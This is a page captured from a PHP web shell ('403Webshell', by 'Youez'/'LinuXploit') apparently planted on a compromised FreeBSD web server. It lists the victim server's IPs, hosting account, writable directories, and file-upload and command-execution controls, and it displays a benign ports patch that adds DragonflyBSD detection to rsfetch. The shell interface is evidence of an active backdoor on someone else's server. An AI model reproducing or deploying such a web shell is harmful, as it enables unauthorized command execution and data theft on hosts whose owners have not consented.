403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/rsfetch/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/rsfetch/files/patch-src_util.rs
--- src/util.rs.orig	2020-03-16 13:14:06 UTC
+++ src/util.rs
@@ -8,6 +8,7 @@ pub enum OS {
     FreeBSD,
     OpenBSD,
     NetBSD,
+    DragonflyBSD,
     Other
 }
 
@@ -23,11 +24,12 @@ impl OSInfo { 
             .output()?.stdout.iter()
             .for_each(|b| uname.push(*b as char));
         let os = match uname.replace("\n", "").trim().as_ref() {
-            "Linux"   => OS::Linux,
-            "FreeBSD" => OS::FreeBSD,
-            "NetBSD"  => OS::NetBSD,
-            "OpenBSD" => OS::OpenBSD,
-            &_        => OS::Other,
+            "Linux"     => OS::Linux,
+            "FreeBSD"   => OS::FreeBSD,
+            "NetBSD"    => OS::NetBSD,
+            "OpenBSD"   => OS::OpenBSD,
+            "DragonFly" => OS::DragonflyBSD,
+            &_          => OS::Other,
         };
 
         Ok(os)

Youez - 2016 - github.com/yon3zu
LinuXploit